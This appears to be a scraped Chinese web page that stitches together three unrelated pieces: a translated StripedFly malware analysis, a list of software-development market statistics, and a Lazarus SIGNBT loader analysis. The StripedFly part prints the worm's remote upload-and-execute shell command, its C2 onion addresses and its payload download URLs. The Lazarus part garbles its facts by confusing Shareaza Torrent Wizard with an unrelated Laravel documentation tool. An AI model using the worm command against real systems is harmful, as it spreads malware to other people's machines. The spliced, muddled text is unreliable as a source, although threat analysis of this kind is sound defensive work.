这项功能表明了攻击者旨在不惜一切代价隐藏C2服务器,促使攻击者开发了一个独特而耗时的项目:创建自己的TOR客户软件。这种方法在APT和犯罪软件开发者当中并不常见,这个醒目的例子强调了这种恶意软件相比许多其他恶意软件具有的复杂性。其功能的复杂性和优雅性使我们想起了实现延迟容忍Equation通信网络及其他库的优雅代码,因而它被归类为高度先进的威胁。 模块 恶意软件载荷本身的结构是一种单体式二进制可执行代码,旨在支持可插入模块,以扩展或更新功能。这种架构方法是APT恶意软件的标志,每个模块负责实现和注册回调函数,该回调函数在与C2服务器的连接建立或中断时触发,或者在从C2服务器接收消息时触发。这些模块中的功能分为两类:服务模块和扩展功能模块。 1. 服务模块 配置存储 该模块通过在Windows版本的HKCU\Software\Classes\TypeLib项中创建一个类似GUID的注册表项,安全地存储AES加密的恶意软件配置。Linux版本将该信息隐藏在位于用户主目录中的随机隐藏文件夹中。 升级/卸载 当与C2服务器的初始连接建立时,服务模块生成一个8字节的受害者ID,存储它,然后与所用的system.img文件的散列一起重用它,用于向服务器返回报告。该模块旨在实现两个特定的命令: o服务器发送system.img的新版本,升级过程由生成的脚本或生成的可执行文件来执行。 o执行全面卸载 如果C2服务器脱机时间超过20分钟,并且这种情况持续存在,模块将尝试下载ota.dat文件(Linux版本是delta.dat),然后验证其完整性。如果文件版本发生了变化,模块通过下载适当的.img文件:面向Windows的ota.img和面向Linux的delta.img来触发升级过程。 反向代理 该模块授予访问受害者网络的权限,并允许代表受害者执行远程操作。 2. 功能模块 杂项命令处理程序 该模块包含一系列命令,用于与受害者的文件系统交互、捕获屏幕截图、检索系统版本,并获得Linux上的活跃X11显示内容(默认值是Windows上的WinSta0)。它还包含一个能够执行从C2服务器收到的shellcode的命令。 凭据收集程序 该模块运行一个专用线程,每两小时定期扫描一次。在扫描过程中,它从所有活跃用户收集一系列敏感信息,这些信息包括网站登录用户名及密码,以及个人自动填写数据,比如姓名、地址、电话号码、公司和职衔。它还获取已知的Wi-Fi网络名称和相关密码,以及来自流行的软件客户软件(如FileZilla、Cyberduck和WinSCP)的SSH、FTP和WebDav凭据。 值得一提的是,Web浏览器对凭据收集的支持不仅限于Chrome、Firefox和Internet Explorer等知名浏览器,还包括一些不太知名的浏览器,比如Nichrome、Xpom、RockMelt、Vivaldi、SaMonkey、Epic Privacy和Brave。 在Linux版本中,它还收集存储在$HOME/.ssh中的OpenSSH密钥,将来自$HOME /.ssh/known_hosts的主机整理成表,并包括从Libsecret保管库检索秘密信息的功能。然而,这项特殊的功能目前有缺陷,因为链接的musl libc库中没有dlopen API实现。 可重复的任务 该模块拥有几个内置的功能任务,这些任务可以执行一次,也可以在可重复的调度基础上执行,条件是特定窗口必须可见,这些任务才会继续处理。 下面简要描述任务: ·获取屏幕截图,列出那一刻可见的所有窗口。 ·使用某个命令行执行进程,重定向输出,并使用正则表达式加以过滤。 ·记录麦克风输入。 ·该任务收集具有特定扩展名的文件列表,比如与图像、文档、声音、视频、归档、数据库、证书、源代码文件相关的文件及其他关键的用户数据文件。该进程扫描所有本地驱动器和网络共享区,系统文件夹除外。这是在恶意软件的Linux版本中运行的唯一任务。 侦察模块 该模块汇集大量的系统信息,并在连接时将其传输到C2服务器。收集的数据包含众多详细信息,包括操作系统版本、计算机名称、硬件MAC地址列表、Windows系统的当前用户名、Linux系统的/etc/passwd文件、机器的IP地址、当前连接的TOR网络出口节点的IP地址、系统启动时间、恶意软件正常运行时间、时间及时区,总内存/可用内存量、用户管理权限以及特定的Windows相关信息,比如UI语言和键盘布局、存在的防病毒软件、NetBIOS名称、DNS域、机主的Windows许可证详细信息以及存在的PowerShell命令解释器。 SMBv1和SSH感染程序 有两个模块专门负责恶意软件的渗透能力,它们构成了核心的蠕虫功能。 一旦凭据收集模块完成任务,SSH感染程序就开始发威,它过滤结果寻找SSH密钥和凭据,如果找到,就激活专用线程。该线程的随机超时中断时间从10分钟到2小时不等,启动渗透进程。 首先,它从缓存或直接从bitbucket[.]org检索delta.dat和delta.img。然后,它进而验证这些文件的完整性,从delta.img动态加载libay库、zlib库和libssh2库。下一步是尝试连接到远程SSH服务器。如果连接成功,它调用并解析/bin/sh -c ' uname -nmo '命令的输出;如果远程系统受支持,恶意软件将其二进制文件以随机名称上传到远程的/tmp文件夹,并以命令/bin/sh -c 'cat > %s; chmod +x %s; nohup sh -c "%s; rm %s" &>/dev/null'执行该文件。这个方法确保了与x86、amd64、arm和aarch64 Linux CPU等架构兼容,并使用生成的MZ-PE加载程序与Cygwin x86和amd64远程主机兼容。 SMBv1感染模块使用自定义的EternalBlue漏洞利用代码,充当Windows受害者的主要渗透工具。初始执行后,它通过修改受害者系统上的HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters注册表项,立即禁用SMBv1协议。然后,它启动两个专用线程来执行定期的蠕虫活动。 第一个线程负责检查网络适配器的IP地址和子网掩码,然后试图在整个局域网子网内引起感染。相比之下,第二个线程定期尝试选择一个随机的互联网IP地址,以下地址排除在外: obogon网络,比如0.0.0.0/8、10.0.0.0/8、100.64.0.0/10、 127.0.0.0/8、172.16.0.0/12、192.168.0.0/16、198.18.0.0/15、224.0.0.0/4和240.0.0.0/4。 o169.255.0.0/16--主要指南非。这可能是一个bug,开发者可能意指169.254.0.0/16--bogon网络列表中缺失的部分。 o3.0.0.0/8、15.0.0.0/8、16.0.0.0/8、56.0.0.0/8--亚马逊、惠普和美国邮政部等。 o6.0.0.0/8和55.0.0.0/8--美国陆军信息系统司令部。 o7.0.0.0/8、11.0.0.0/8、21.0.0.0/8、22.0.0.0/8、26.0.0.0/8、 28.0.0.0/8、29.0.0.0/8、30.0.0.0/8、33.0.0.0/8、214.0.0.0/8和215.0.0.0/8--美国国防部网络信息中心。 受支持的Windows版本包括Windows Vista、Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012和Windows 10(直至build 14392)。 门罗加密货币挖矿模块 Monero挖矿模块如虎添翼。它在一个单独的进程中运行,巧妙地伪装成位于Google\Chrome\Application\Services目录中的chrome.exe进程,这可以在公共或本地AppData目录中找到。这种欺骗性手段甚至包括对伪装的可执行文件的版本信息和进程图标进行更改。主模块中的恶意软件功能定期监视木偶挖掘进程,必要时重新启动它,它还向C2服务器如实报告哈希率、工作时间、发现的错误和错误统计信息。 池服务器的DNS解析被巧妙地隐藏在针对Cloudflare DoH(DNS over HTTPS)服务的DNS over HTTPS请求的后面,为其活动增添了隐蔽性。 我们强烈怀疑这个模块是恶意软件能够长时间逃避检测的主要原因,它的存在主要是出于巧妙伪装的需要。值得一提的是,该模块挖掘的门罗币在2017年徘徊在10美元左右后于2018年1月9日达到了542.33美元的高位。截至2023年,成交价约150美元。虽然这个模块肯定有利可图,但它不一定是这种恶意软件最赚钱的用途。比如说,寻找未加密的二进制钱包或钱包凭据可能牟取更高的利润。 此外,恶意软件代码中存在与挖矿相关的未加密字符串,这从侧面证明了其潜在的辅助用途。 ThunderCrypt 我们偶然发现了该恶意软件的早期版本,这促使我们发现了一个相关的勒索软件变体:ThunderCrypt。事实证明,这两种恶意软件有着同样的底层代码库,更重要的是,它们与位于ghtyqipha6mcwxiz[.]onion:1111的同一台C2服务器进行联系。 与StripedFly相比,ThunderCrypt勒索软件展现了惊人相似的功能和模块,这包括TOR客户软件、配置存储、升级/卸载和侦察模块,值得注意的一处例外是没有SMBv1感染模块。有意思的是,该勒索软件使用可重复任务模块的文件列表组件作为其勒索加密进程的必要部分。 遥测数据显示,ThunderCrypt首次出现在2017年4月23日,活动的主要高峰期出现在随后的5月,它因一起相当有趣的事件而引起了台湾新闻网的注意。一名台湾网民因无法支付0.345比特币的勒索赎金以换取解密内容,决定通过提供的支持电子邮件地址与攻击者联系。他在邮件中坦率地解释了面临的困境,提到月收入只有400美元。令许多人吃惊的是,攻击者回复承认高估了台湾民众的收入,这次攻击被认为彻底失败。 图5. 台湾新闻网关于ThunderCrypt的报道 EternalBlue 我们认为EternalBlue漏洞与StripedFly背后的开发者存在共同点。我们的假设依赖PE时间戳的准确性,虽然不可能验证初始EternalBlue模块时间戳的真实性,但恶意软件的后续更新含有与遥测数据大致匹配的时间戳,因此初始时间戳很可能也是准确的。我们重新构建的时间线如下: o2016年4月9日:PE时间戳表明,StripedFly最早的已知版本包含EternalBlue。 o2016年8月:Shadow Brokers组织首次泄露信息。 o2017年3月14日:微软发布安全公告MS17-010,附有EternalBlue漏洞的补丁。 o2017年4月14日:Shadow Brokers发布了含有EternalBlue漏洞的泄露信息。 o2017年4月15日:第一个包含EternalBlue的勒索软件ExPetr出现。 o2017年4月20日:出现了最早版本的ThunderCrypt勒索软件(不含EternalBlue)。 o2017年4月23日:首次在遥测数据中检测到了ThunderCrypt。 o2017年5月12日:WannaCry勒索软件攻击利用了EternalBlue。 o2017年6月27日:ExPetr攻击使用了EternalBlue。 o2017年8月24日:在初始PE时间戳给出的日期一年后,我们的遥测数据首次检测到StripedFly。 综上所述,这些不同的数据表明了与Equation恶意软件相似,不过没有直接证据表明它们存在关联。与Equation恶意软件家族相关的特征便于发现了该恶意软件,编码风格和方法与SBZ恶意软件颇为相似。 结论 StripedFly是很久以前编写的,多年来它成功地逃避了检测,无疑实现了其预期目的。许多瞩目和复杂的恶意软件已被调查过,但这个软件很特别,确实值得关注。 真正的目的是什么?这仍然是个谜。虽然ThunderCrypt勒索软件表明开发者出于商业动机,但它提出了一个问题:为什么他们不选择可能更有利可图的途径?勒索软件团伙基本上旨在获取匿名赎金,而这个案例似乎一反常态。 问题仍然存在,但只有那些设计这个神秘恶意软件的人知道答案,如此复杂且专业设计的恶意软件只想达到这种微不足道的目的,实在让人费解。 攻陷指标 C2服务器 gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion ghtyqipha6mcwxiz[.]onion ajiumbl2p2mjzx3l[.]onion URL bitbucket[.]org/JulieHeilman/m100-firmware-mirror/downloads/ bitbucket[.]org/upgrades/um/downloads/ bitbucket[.]org/legit-updates/flash-player/downloads gitlab[.]com/JulieHeilman/m100-firmware-mirror/raw/master/ gitlab[.]com/saev3aeg/ugee8zee/raw/master/ github[.]com/amf9esiabnb/documents/releases/download/ tcp://pool.minexmr[.]com:4444 tcp://mine.aeon-pool[.]com:5555 tcp://5.255.86[.]125:8080 tcp://45.9.148[.]21:80 tcp://45.9.148[.]36:80 tcp://45.9.148[.]132:8080 system.img b28c6d00855be3b60e220c32bfad2535 155Jq5pu3245d4418M19YnRvau7Rc14hVB 2cdc600185901cf045af027289c4429c 54dd5c70f67df5dc8d750f19ececd797 d32fa257cd6fb1b0c6df80f673865581 c04868dabd6b9ce132a790fdc02acc14 c7e3df6455738fb080d741dcbb620b89 d684de2c5cfb38917c5d99c04c21769a a5d3abe7feb56f49fa33dc49fea11f85 155Jq5pu3245d4418M19YnRvau7Rc14hVB delta.dat 00c9fd9371791e9160a3adaade0b4aa2 41b326df0d21d0a8fad6ed01fec1389f delta.img 506599fe3aecdfb1acc846ea52adc09f 6ace7d5115a1c63b674b736ae760423b ota.dat 2e2ef6e074bd683b477a2a2e581386f0 04df1280798594965d6fdfeb4c257f6c ota.img abe845285510079229d83bb117ab8ed6 090059c1786075591dec7ddc6f9ee3eb ThunderCrypt 155Jq5pu3245d4418M19YnRvau7Rc14hVB d64361802515cf32bd34f98312dfd40d
  24. 文章数据及部分内容参考来源 参考文章链接:https://radixweb.com/blog/software-development-statistics 参考文章作者:Ravikumar Patel 文章内容总结:Frex 文章内容翻译:Frex 》01 情况综述 很少有其他行业能像软件开发一样快速发展。人工智能、机器学习、物联网等技术的快速发展对许多行业产生了重大影响,包括软件开发。这是软件开发近期增长发展的主要原因。 观察当今的数字时代,软件在帮助各家公司创建自动化工具、降低成本和提升客户体验方面发挥着关键性的作用,是帮助各家公司将这些能力聚集起来的主要动力。无论其公司所在的行业领域情况如何,软件为从智能手机到复杂的企业系统的一切行动提供可靠安全的动力。对于生活在数字时代的Programers,了解软件开发的格局至关重要。为了展示其巨大影响,我整理了一些重要的关于软件开发的统计数据。 》02 软件开发相关数据汇总 预计到2024年底,全球软件开发人员总数将达2870万。其数量在最近4年内增长了320万。美国有将近430万名软件开发人员。 84.7%的软件开发项目基于企业应用。53.6%的软件开发项目基于业务自动化,38.50%属于电子商务项目。 2024年,IT行业的发展情况预计将超过疫情前的状态,预计年复合增长率(CAGR)会达到5%。 预计到2027年,软件开发市场份额将达到10.39亿美元,2020年~2027年的年复合增长率将到达22.54%。 大约54%的软件工程师称在家中的办公效率更高。随着疫情结束,全世界将重新朝办公文化迈进,这将是2024年值得讨论的一个重要话题。 软件开发项目的成本从3000美元到15万美元不等。 2023年客户关系管理(CRM)系统的开发成本约为10万美元。 预计到2029年,美国软件开发人员的就业率将增长22%。因此,从2024年开始,美国软件开发人员将迎来巨大机遇。 复杂的软件开发项目的成本高达100万美元。 JavaScript是全球使用最广泛的编程语言,65.82%的专业开发人员选择使用该语言。 有经验的软件开发人员的年收入中位数为107,090美元。 》03 软件开发市场概况 你知道软件开发的市场有多庞大吗?软件开发的未来将会是怎样的?随着 2024 年的到来,让我们来回答一些围绕软件开发市场常见的一些问题: 在软件行业,84.70%的公司专门为客户开发企业应用程序。 大约有53.90%的软件公司主要开发业务流程自动化的软件项目,所以2024年我们将迎来体验业务自动化的高峰时期。 大约15.40%的公司提供客户关系管理软件解决方案。 7.70%的软件开发服务商帮助客户构建、管理和维护教育行业的软件。 在受访人员中,有38.50%的开发者负责为电子商务行业提供后端软件开发以及电子商务行业的前端Web应用程序开发解决方案。 》04 软件开发人员数量分布统计 目前,华盛顿州是美国软件工程师薪资最高的地区,平均年收入高达105,406美元。此外,与其他州相比,华盛顿州的工程师比例最高,占6.42%。 美国软件开发人员的平均年龄为39.8岁,其中54.2%是白人。 令人惊讶的是,只有25%的软件开发人员拥有计算机工程或计算机科学学位。 美国在全球科技市场占据重要地位,占比高达33%。 在欧洲,德国的软件开发人员数量最多,专业人员多达837,398名。 全球91.5%的软件工程师为男性。 华盛顿州是美国是软件开发岗位密集度最高的州,此类职位数量高达51,540个。 》05 软件开发行业统计 全球科技市场的33%位于美国。 尽管美国科技和软件市场规模庞大,但67%的技术支出主要用于海外,这表明科技产品和服务对全球的吸引力和需求。欧洲成为另一支主流,占全球科技开销的五分之一。与此同时,中国迅速崛起,并在亚洲地区软件开发领域位于主导地位。 2024年软件行业的重要发现 1、2024年,我们将看到营销软件成为全球所有软件购买者的重要投资项目,占比28%,仅次于位于全球投资第一的IT安全项目(32%)。 2、在2024年,营销人员将寻找新客户(35%)和提升员工技能(32%)视为IT行业的两大主要业务挑战。 亚太地区的软件测试市场正迅速崛起,预计到2026年年复合增长率(CAGR)将高达8%。 这一增长主要受到了中国和印度等国家数字化采用率提高的推动。值得注意的是,印度政府正在积极推动激励投资和加速全国数字化的计划。此外,印度对IT培训的关注使其成为最大的软件外包中心,当前IT和软件行业的发展趋势很明显地体现了这一点。 欧洲拥有大约550万名开发人员。 根据软件开发就业统计数据,就各国软件开发人员的数量而言,德国的人才队伍处领先地位,拥有837,389名专业人士。紧随其后的是英国,拥有813,500名开发人员,而法国以467,454名开发人员位居第三。另一方面,匈牙利和挪威分别以79,075和79,112名开发人员垫底。 》06 2024年软件开发趋势和统计 到2029年,仅在美国,软件开发人员的岗位将增长22%。 现今美国有近146万名软件开发人员,但这一数据会根据各种组织设定的不同标准而有所变化。 到2025年,物联网(IoT)预计将覆盖全球超过750亿台设备,与2019年相比,增加率达到了3倍。 作为软件行业的尖端技术,物联网可通过互联网在各种机器和设备中实现无缝互连。在包括医疗在内的各个行业具有广泛的应用,并在很大程度上促进了远程办公组织的成功。 大约80%的全球500强公司的日常运营都依赖境外团队,充分展现了这一做法的广泛使用。 印度在全球软件外包业务中居领先地位。亚洲和拉丁美洲新兴市场对境外业务的需求都在增长,菲律宾等国家正在发展成为重要的境外中心。然而,根据境外软件工程统计数据,印度凭借其极具竞争力的价格、良好的IT政策和卓越的服务,巩固了其作为境外团队首选之一的地位,2024年不太可能被其他国家超越。 近69%的企业采用了云计算技术。 研究表明,还有18%的公司计划采用云解决方案。在软件开发这一发展趋势的助力下,很多组织的收入增长都到了53%,预计2024年还将进一步增加。 大约84%的开发人员认为自己是开源软件的积极贡献者。 开源代码是流行的软件开发趋势,工程师能够通过使用、修改和增强源代码来积极参与此类项目。根据2024年软件开发统计数据,令人印象深刻的是,只有3%的开发人员从来没有为开源做出过贡献,而且只有13%的人每年的贡献次数少于一次。 Linux一直是全球最受欢迎的软件开发平台,也是55.9%专业开发人员的首选。 尽管Linux的主导地位仍然坚如磐石,但Windows的受欢迎程度有所上升,成为了51.2%的开发人员选择。多年来,Linux凭借其强大的开源性质,一直是软件工程的推动力,安卓手机和物联网(IoT)设备中的广泛应用就是代表之一。 Python从众多编程语言中脱颖而出,成为增长最快的佼佼者,其中70%的机器学习开发人员选择在项目中使用Python。 根据软件行业统计数据,目前共有600万软件工程师在使用Python,该语言的开源性质促使得到了广泛应用,尤其是机器学习领域。对于机器学习开发人员来说,最大的好处在于Python有很多可以轻松访问的核心库,如PyTorch、NumPy和TensorFlow,同时Python在自动化后端系统方面也有出色的表现。 Java虽然不是增长最快的语言,但仍不失为一个强有力的竞争者,940万Java开发人员使其成为了世界第三大编程语言。 在软件项目管理工具方面,JIRA是最常用的系统,占据39.03%的市场份额。 近年来,大多数公司都采用了敏捷方法,这导致他们都需要有效的项目管理解决方案。Atlassian的综合套件,包括Jira、Confluence和Bitbucket,占有18.24%的市场份额。紧随其后的是Microsoft Project,市场份额为6.01%,以及Airtable,也是6.01%。 》07 软件开发时间和成本的统计 从平均水平来看,大部分公司将63%的软件开发成本都用于设计和构建新软件。 近四分之一的公司更喜欢选择软件开发外包服务。主要原因包括降低成本、提高灵活性、缩短上市时间以及庞大的人才储备。 外包开发的满意度水平相对较低,只有17.8%的公司对交付的工作感到绝对满意。 一般软件开发项目需要大约4.5个月就能完成,成本为3.6万美元。 大约23%的项目开发成本超过6万美元。 软件构建完成后,后续的维护费用约占开发成本的15%~20%。 约61.60%的开发公司设定的平均开发时间为4~6个,而10.81%的软件公司提供软件维护和支持,时间超过6个月。 10.81%的软件开发公司提供带有6个月以上维护和支持的最佳软件。 小型软件或应用的软件开发成本为3万~4.5万美元,中型软件开发项目的成本为7万~10万美元,而大规模复杂应用的成本则为10万美元以上。 基本的CMS软件开发的成本在2万美元~5万美元之间,包括设计、一些定制功能、配置等。 ERP软件开发的成本为100,000美元或更多,具体取决于功能数量和公司规模。 从零开始构建定制化电子商务系统至少需要5万美元。对于更复杂的解决方案,成本可能上涨至数十万美元。 SaaS开发成本为2.5万~10万0美元,对于复杂的SaaS产品,成本甚至会更高。 》08 软件开发中使用到的技术的统计 在软件开发行业,有 700 多种编程语言可供选择。因此,在选择正确的编程语言时,企业和软件开发人员必须考虑许多方面。 有报告指出(https://radixweb.com/blog/top-javascript-usage-statistics),JavaScript 是2023年最受欢迎的学习编程语言,活跃开发人员高达1240万。 第二受欢迎的编程语言是 Python,有900万活跃开发人员。 Java 排名第三,有820万开发人员。 2023年,亚马逊AWS和微软Azure并列为最受欢迎和使用最多的云平台,75%的开发人员使用这两个平台。这表明,2024年超大规模企业及其企业公有云在全球范围内的采用将有更好的市场前景。 微软Azure是第二大受欢迎的云平台,占比28.72%。 谷歌云是第三大受欢迎的云平台,占比26.61%。 》09 软件开发编程统计 软件工程师的平均年龄为39岁。 在私企工作的软件工程师的数量比在公共部门公司工作高50%。 22%的软件工程师为女性,78%是男性。 在美国,48.5%的软件工程师是白人,其次是亚裔:34%,西班牙裔或拉丁裔:8.1%,未知 :48%。 97%的应用程序使用了开源代码,这充分说明了开源代码在软件开发社区中的广泛采用。 作为热门的软件开发互联网托管服务,GitHub拥有惊人的9400万开发人员和超过8570万个新存储库。 2023年Octoverse报告显示,GitHub上私人项目数量的增长率为38%,这些私人项目占据了总计超过80%的GitHub活动,使得2024年成为了GitHub之年。 2023年,通过freeCodeCamp、First Contributions以及GitHub Education等项目首次向开源或OSS贡献代码的人数达到最高。对于2024年希望采用和实现GitHub的开发人员和企业来说,这是一个良好的环境。 GitHub 的自动化功能Actions每月运行的自动化作业高达2.63亿个,每天的构建时间超过4100万分钟。 在亚太地区,印度、日本和新加坡的GitHub开发者社区增长速度最快;非洲增长最快的国家为尼日利亚、加纳和肯尼亚;南美洲为阿根廷、玻利维亚和哥伦比亚;欧洲是西班牙、葡萄牙和波兰。Octoverse报告预测,到2027年,印度将超过美国,成为GitHub上最大的开发者社区。 软件开发行业面临严重的人才短缺。全球咨询公司Korn Ferry预测,到2030年这一短缺有可能造成美国每年损失1620亿美元的收入,全球总额将达到8.5万亿美元。 》10 软件开发的常规统计和事实 现在是时候了解有关软件开发的一般事实和统计数据了。这将使您对 2024 年的整体软件开发行业有所了解。 软件开发人员的平均年龄为25~34岁。 通过以上数据可以看出这块市场上有很多年轻的开发者。48.42%的软件开发者介于25~34岁之间,21.71%的软件开发者年龄在35~44岁之间。 乌克兰已巩固其作为 web 开发外包目的地的领先地位。 根据最新数据,乌克兰拥有超过20万名持有科学、技术和工程学位的外包程序员。各家科技公司为高效利用这些IT专家而选择乌克兰作为供应商。 约24%的高管选择软件开发外包作为在动态商业环境中保持竞争力并以合理的费用获取成熟的开发人员的战略手段。 软件人才供不应求,每五个职位只能聘请到一位开发者,凸显了这种人才短缺,同时也推动了外包解决方案的需求。境外软件开发统计数据(https://radixweb.com/services/offshore-software-development)凸显了开发的主要挑战围绕着能力、知识共享和优先级。 软件开发领域的AI集成是一个突出而持续的趋势。 开发人员可以通过利用深度学习和先进的机器学习技术,以更快的速度创建更优的软件解决方案。软件开发趋势预测,人工智能增强将产带来2.9万亿美元的创收。 美国专业开发人员的平均编程经验为15.8年。 根据Stack Overflow的一项调查,澳大利亚的开发人员以16.9年的编程经验名列榜首,紧随其后的是英国,为16.1年。荷兰和加拿大分别排名第四和第五。有趣的是,近三分之一的软件专业人员从5~10年前才开启了编程之旅。 61%的软件开发者使用 Windows,因此Windows成为了开发环境的首选。 Linux名列第二,开发者使用率为47%。macOS在个人电脑操作系统中的受欢迎度排名第三。 42.65%的软件开发者选择使用 Node.js,而40.58%的软件开发者更喜欢 ReactJS,这一组合为 web 开发中最受欢迎的技术。 在项目的早期阶段,为 Web 开发选择合适的框架至关重要。根据软件开发统计数据,React.js 是最受欢迎的框架之一,在使用方面超过了其他 Web 框架。jQuery 是软件开发人员的第二大热门。前 5 名竞争者还包括 Express、Angular 和 VueJS。 招聘开发人员时,最关键的因素是他们学习的意愿以及适应公司文化的能力。 招聘的难点在于寻找高技术水平的开发人员,他们可以为团队增值,同时还能迅速适应不断变化的技术环境。尽管技术专业知识至关重要,但有趣的是,近60%的招聘人员在寻找技术员工时优先考虑软技能。 2023年,IT领导选择外包的主要原因是为了削减成本,约83%的领导将其视为首要任务。 82%的人强调了流程的标准化和效率,70%的人提到了开发能力,59%的人指出了推动业务价值等外包的其他重要考虑因素。 软件开发拥有光明的未来 本文中提供的数据证明了软件开发的持久意义。对于软件专业人士和企业主来说,随着行业的不断发展,紧跟行业的动态趋势势在必行。为了更广泛地了解技术趋势,关于 AI 使用 统计、DevOps 统计、Node.js 统计和 Agile 统计的文章提供了有价值的见解。
  25. 今年上半年,一家软件供应商受到了Lazarus恶意软件的攻击,该恶意软件是通过未打补丁的正版软件传播的。值得注意的是,这些软件漏洞并不是新的,尽管供应商发出了警告和补丁,但许多供应商的系统仍继续使用有漏洞的软件,允许攻击者利用它们。幸运的是,研究人员的主动响应发现了对另一个供应商的攻击,并有效地挫败了攻击者的努力。 经过进一步调查,研究人员发现开发被利用软件的软件供应商之前曾多次成为Lazarus的受害者。这种反复出现的漏洞表明,一个持久的攻击者的目标可能是窃取有价值的源代码或篡改软件供应链,他们继续利用公司软件中的漏洞,同时瞄准其他软件制造商。 攻击时间 攻击者表现出了高度的复杂性,采用了先进的逃避技术,并引入了SIGNBT恶意软件来控制受害者。此外,在内存中发现的其他恶意软件包括Lazarus著名的LPEClient,这是一种以受害者分析和有效负载传播而闻名的工具,此前曾在针对国防承包商和加密货币行业的攻击中被观察到。 执行情况如下: 1.一个软件供应商通过利用另一个备受瞩目的软件而受到威胁。 2.这次攻击中使用的SIGNBT恶意软件采用了多种攻击链和复杂的技术。 3.在这次攻击中使用的LPEClient被观察到执行一系列与Lazarus组织相关的目标攻击。 SIGNBT加载程序 在2023年7月中旬,研究人员发现了一系列针对几名受害者的攻击,这些攻击是通过合法的安全软件进行的,这些软件旨在使用数字证书加密网络通信。该软件被利用来传递恶意软件的确切方法仍然难以捉摸。然而,研究人员在正版软件的进程中发现了利用后的活动。 在检查受害者系统中受攻击安全软件的内存时,研究人员发现了带有shellcode的SIGNBT恶意软件的存在,这个shellcode负责直接在内存中启动Windows可执行文件。 攻击者使用各种策略在受攻击系统上建立和维护持久性。这包括在系统文件夹中创建一个名为ualapi.dll的文件,该文件在每次系统引导时由spoolsv.exe进程自动加载。此外,在几个样本中,记录了注册表项以执行合法文件,以进行恶意的侧加载,从而进一步确保了持久性攻击机制。 加载最终有效负载方法 利用spoolsv.exe进程进行劫持是Lazarus的长期策略。每次重启后自动加载ualapi.dll文件并不是这个攻击者独有的新技术,研究人员在过去看到过类似的策略被Gopuram恶意软件使用。 恶意的ualapi.dll文件是使用名为Shareaza Torrent Wizard的公开源代码开发的,shareaza是一款在国外评价极高并且相当流行的开放源代码的p2p软件(简称raza),Shareaza集合了edonkey、gnutella(1和2)和bt四种流行p2p网络类型,并可以用于http下载,在以后的版本将会支持ftp下载,由于其优秀的界面(支持换肤)、简洁的操作以及极强的可制定性,所以在国外广为流传,其评价已跃居所有p2p软件的前5之列,并且许多p2p的下载站点已将其指定为bt的官方下载工具。 Wizard 是基于Laravel开发框架开发的一款开源项目(API)文档管理工具。 目前支持三种类型的文档管理Markdown。它遵循典型的Lazarus组织攻击方法,利用公共源代码作为基础,并向其中注入特定的恶意功能。这个加载程序恶意软件有一个程序来验证受害者,它通过从Windows注册表中读取受害者的MachineGuid来查看其是否存在其中,然后将其与嵌入的MachineGuid值进行比较。为了访问这个嵌入式MachineGuid值,恶意软件定位序列“43 EB 8C BD 1D 98 3D 14”,并读取紧随其后的DWORD。只有当受害者的MachineGuid与预期的匹配时,恶意软件才会进行下一步。然后,恶意软件从硬编码的文件路径读取有效负载并继续其恶意活动。 1.有效负载路径:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp 加载程序进程从tw-100a-a00-e14d9.tmp中检索前32个字节,并使用该数据作为AES解密密钥来解密其余内容。一旦解密,负载(标识为SIGNBT的Windows可执行文件)将直接加载到内存中。在这种情况下,加载的有效负载也从相同的路径读取配置文件,但文件名略有不同。 配置文件:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp, 该文件内部是一个base64编码的字符串,这与之前的SIGNBT恶意软件方法中使用的方法类似。该字符串的前32个字符作为AES解密密钥,后面的数据包含恶意软件使用的配置信息。解密后的配置数据包括三个C2地址(称为代理)、睡眠间隔、版本信息、监视的目标以及对恶意软件操作至关重要的各种其他参数等详细信息。 SIGNBT 大多数SIGNBT恶意软件样本是通过恶意软件加载程序启动的,该加载程序只在内存中运行。在执行时,恶意软件在初始化其配置数据后,通过发送信标开始与C2服务器通信。在其C2通信中,恶意软件使用以SIGNBT开头的独特字符串。这一独特的特点为它赢得了SIGNBT的称号。此外,恶意软件在其C2操作的每个阶段使用不同的前缀来验证和维护其活动。 恶意软件采用多步骤过程来创建一个24字节的值,用于各种目的。首先,它通过以下组件生成这个值: 1.8字节的硬编码值(SIGNBTLG):这是值的固定部分,用于验证客户端连接的合法性。 2.主机名MD5哈希的8个字节:包括受害者计算机名MD5哈希的前8个字节,有助于区分每个受害者。 3.随机生成的8字节标识符:另外8字节随机生成,可能用于会话标识符。 在创建了这个24字节的值之后,恶意软件会生成另外24字节的随机数据。然后使用另一个随机生成的24字节密钥将这两组24字节组合在一起。随后,结果值和24字节密钥都用base64编码。最后,将这些编码值与三个或七个随机生成的HTTP参数名组合在一起。在未来的所有C2通信中,恶意软件使用类似的结构,这使得检测和分析其通信更具挑战性。 HTTP POST数据结构 恶意软件使用一种机制来验证从C2服务器接收到的响应数据。具体来说,它检查响应数据是否包含硬编码的HTML脚本。 在验证过程中,恶意软件使用base64解码来自C2服务器的前12个字节,用加号替换空格以创建一个7个字符的字符串,然后对接下来的12个字节重复此过程。然后将每个集合中的前七个字符异或处理并与“success”字符串进行比较,此重复过程应用于每个HTTP通信序列,以验证响应是否符合预期的“success”标准。 接下来,恶意软件发送带有SIGNBTKE头的HTTP请求,如果它收到来自C2服务器的“success”消息,它会激活CCBrush类中的getInfo函数。该功能收集受害者计算机的各种信息,如计算机名称、产品名称、操作系统详细信息、系统正常运行时间、CPU信息、系统区域设置、时区、网络状态和恶意软件配置数据。在发送此特定于系统的信息之后,恶意软件发送另一个带有SIGNBTGC前缀的HTTP请求,这次使用从100个可能的参数名称列表中随机选择的嵌入式HTTP参数。 使用AES和从SIGNBTLG HTTP请求获得的解密密钥对从C2服务器接收到的数据进行解密。如果解密的数据是“keep”,恶意软件使用SIGNBTSR前缀响应“OK”消息,表示通信成功。如果存在问题,恶意软件使用SIGNBTFI前缀来传达问题或通信失败的性质。综上所述,C2通信过程可以描述如下: C2通信过程 如果传递的数据不等于“keep”,表明需要特定的指令或操作,则恶意软件继续调用相应的类和函数进行后门攻击,SIGNBT恶意软件配备了一套广泛的功能,旨在对受害者的系统施加控制。为了执行这些功能,恶意软件以类名、函数名和任何必要参数的形式从C2服务器接收指令。然后,它执行嵌入在恶意软件代码库中的相关功能。 